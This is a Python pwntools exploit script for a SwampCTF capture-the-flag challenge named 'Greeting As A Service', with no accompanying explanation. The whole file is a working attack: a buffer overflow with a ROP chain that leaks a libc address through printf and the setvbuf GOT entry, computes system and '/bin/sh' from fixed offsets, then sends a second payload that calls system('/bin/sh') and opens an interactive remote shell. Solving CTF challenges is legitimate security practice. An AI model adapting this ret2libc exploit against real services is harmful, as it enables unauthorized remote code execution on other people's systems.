Greeting As A Service

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

context.log_level = "error"

def conn():
    r = remote("chals.swampctf.com", 40003)
    return r


def main():
    offset = 0x12 * b'i'

    # gadgets
    pop_rdi     = p64(0x401194)
    pop_rsi     = p64(0x401196)
    ret         = p64(0x401195)

    main        = p64(0x4011a3)
    printf      = p64(0x401060)
    string      = p64(0x40201e)  # "%s"
    setvbuf_got = p64(0x404028)

    payload = offset + pop_rdi + string + pop_rsi + setvbuf_got + printf + main

    r = conn()
    r.recvuntil(b'What is your name?')
    r.sendline(payload)
    r.recvuntil(b'!\n')

    leak = u64(r.recv(6).ljust(8,b'\x00'))
    libc_addr = leak - 0x88540

    binsh = libc_addr + 0x1cb42f
    system = libc_addr + 0x58740


    print("libc address:    " + hex(libc_addr))
    print("system address:  " + hex(system))
    print("binsh address:   " + hex(binsh))


    payload = offset + ret + pop_rdi + p64(binsh) + p64(system)

    r.recvuntil(b'What is your name?')
    r.sendline(payload)
    time.sleep(0.1)

    print()
    print("Enjoy the shell!")

    r.clean()

    r.interactive()




if __name__ == "__main__":
    main()